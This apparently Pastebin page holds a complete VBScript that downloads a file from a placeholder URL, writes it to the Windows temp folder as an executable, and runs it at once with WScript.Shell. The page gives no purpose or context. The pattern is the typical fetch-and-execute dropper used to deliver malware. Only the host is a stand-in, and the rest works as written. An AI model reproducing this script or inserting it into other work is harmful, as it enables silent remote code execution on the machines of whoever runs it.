Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Set your settings
- strFileURL = "http://www.domain.com/file"
- strHDLocation = "%TEMP%\file.exe"
- ' Fetch the file
- Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
- objXMLHTTP.open "GET", strFileURL, false
- objXMLHTTP.send()
- If objXMLHTTP.Status = 200 Then
- Set objADOStream = CreateObject("ADODB.Stream")
- objADOStream.Open
- objADOStream.Type = 1 'adTypeBinary
- objADOStream.Write objXMLHTTP.ResponseBody
- objADOStream.Position = 0 'Set the stream position to the start
- Set objFSO = Createobject("Scripting.FileSystemObject")
- If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
- Set objFSO = Nothing
- objADOStream.SaveToFile strHDLocation
- objADOStream.Close
- Set objADOStream = Nothing
- End if
- Set objXMLHTTP = Nothing
- Sub Run(ByVal sFile)
- Dim shell
- Set shell = CreateObject("WScript.Shell")
- shell.Run Chr(34) & sFile & Chr(34), 1, false
- Set shell = Nothing
- End Sub
- ' Execute the file downloaded
- Run strHDLocation
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement